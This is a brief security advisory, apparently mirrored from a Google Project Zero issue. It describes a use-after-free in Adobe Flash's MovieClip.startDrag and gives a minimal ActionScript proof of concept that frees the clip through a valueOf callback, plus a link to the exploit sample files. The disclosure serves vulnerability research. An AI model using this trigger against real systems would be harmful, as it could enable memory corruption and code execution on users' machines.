25 lines
No EOL
577 B
Text
25 lines
No EOL
577 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=592
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There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.
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A minimal POC follows:
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this.createEmptyMovieClip("mc", 1);
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mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);
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function func(){
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mc.removeMovieClip();
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// Fix heap here
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return 1;
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}
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A sample fla and swf are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip |